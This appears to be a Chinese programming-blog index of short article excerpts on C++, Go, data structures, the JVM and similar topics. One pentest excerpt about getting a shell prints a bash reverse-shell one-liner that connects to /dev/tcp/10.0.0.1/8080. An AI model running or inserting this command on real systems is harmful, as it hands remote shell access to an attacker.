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c/c++线性循环队列

线性循环队列 队列是先进先出,和栈相反. 线性循环队列,牺牲一个空间,实现循环。比如空间大小为4,牺牲一个空间,所以最多放3个元素。 假设front指向0位置,tail指向3位置 1 2 3 空 出队后...

c++
2018/06/30 10:59
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c++ fmt 库安装和使用示例

安装: 1 git clone https://github.com/fmtlib/fmt.git 2. cmake . 3. make && make install #include "fmt/format.h" #include <iostream> int main() { std::string s = fmt::format("{0}...

2018/06/30 06:37
2.7K
C++ 实例化对象 p->printX()

一、从栈实例化对象 我们首先定义一个类,类的名字叫TV,里面包括两个成员变量,两个成员函数。 class TV // 定义一个电视的类TV { public: char name[20]; // 定义类的属性,一个数组...

c++
2018/06/29 23:31
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【智能算法】迭代局部搜索(Iterated Local Search, ILS)详解

更多精彩尽在微信公众号【程序猿声】 迭代局部搜索(Iterated Local Search, ILS) 00 目录 局部搜索算法 简单局部搜索 迭代局部搜索 01 局部搜索算法 1.1 什么是局部搜索算法? 局部搜索是解...

c++
2018/06/29 21:56
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Mac Terminal终端光标的快捷键操作

2016年08月18日 18:26:06 阅读数:4217 Mac Terminal终端和linux上终端光标的快捷键操作是一样的,都是来自Emacs这个神级的编辑器,由于我以前vim用的多,没怎么用过Emacs,所以就不习惯了。...

2018/06/30 10:16
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linux几种方式来弹哥shell

渗透测试linux主机的时候,能够去 弹个shell进行交互是非常重要的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i :打开一个交互的bash。 dev/tcp/是linux中的一个设备,打开文件相当...

2018/06/29 19:47
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Go语言的面向对象(OOP)

一、方法 在函数声明时,在其名字之前放上一个变量,即是一个方法。这个附加的参数会将该函数附加到这种类型上,即相当于为这种类型定义了一个独占的方法。如: package geometry import...

2018/06/30 10:59
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编译型语言与解释型语言的区别及各自的优缺点

计算机编程语言种类非常多,根据与计算机硬件贴近程度和抽象程度大致可分为3类,自顶向下分别是 : 高级语言(抽象层次更高的便于记忆和表示的英文代码) | 汇编语言(抽象层次...

2018/06/29 22:33
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【数据结构】单链表&&静态链表详解和代码实例

喜欢的话可以扫码关注我们的公众号哦,更多精彩尽在微信公众号【程序猿声】 01 单链表(Singly Linked List ) 1.1 什么是单链表? 单链表是一种链式存储的结构。它动态的为节点分配存储单元。...

2018/06/29 23:07
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作业5:Java编译原理

零、编译 1、编译器 (1)前端编译器:.java文件转变为.class文件Sun的javacEclipse JDT中的增量编译器(ECJ) (2)后端编译器:.class文件转变为机器码HotSpot VM的C1编译器HotSpot VM的C...

2018/06/30 11:09
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P4467 [SCOI2007]k短路

题目描述 有 n 个城市和 m 条单向道路,城市编号为 1 到 n 。每条道路连接两个不同的城市,且任意两条道路要么起点不同要么终点不同,因此 n 和 m 满足 m \le n(n-1)m≤n(n−1) 。 给定两个城...

2018/06/29 21:43
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Win7+vs2017+opencv

环境:   操作系统:win7旗舰版(64bit) + Visual Studio Community 2017 + Opencv3.4.1 配置步骤:   1、安装vs2017(百度安装教程)   2、下载opencv(选择编译好的二进制文件),下...

2018/06/30 11:05
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实力封装:Unity打包AssetBundle(二)

→前情提要:Unity最基本的AssetBundle打包方式。 第二种打包方式 Unity提供的BuildAssetBundles API还有一个重载形式,看下面↓↓ public static AssetBundleManifest BuildAssetBundles(st...

2018/06/30 10:02
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业余草分享面试题,JVM结构、GC工作机制详解

题外话:最近在应聘阿里2015暑期实习,感触颇多。机会总是留给有准备的人的,所以平常一定要注意知识的巩固和积累。知识的深度也要有一定的理解,不比别人知道的多,公司干嘛选你?关于JVM和...

2018/06/30 11:49
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团队作业——个人总结

团队作业——个人总结 ##基本介绍 关于代码设计的内容在上一次作业博客已经讲的差不多了,这次主要写点对于这次作业的总结和想法吧。最后做出来的东西没那么完美,可以说,各个部件我们都造出...

2018/06/29 19:03
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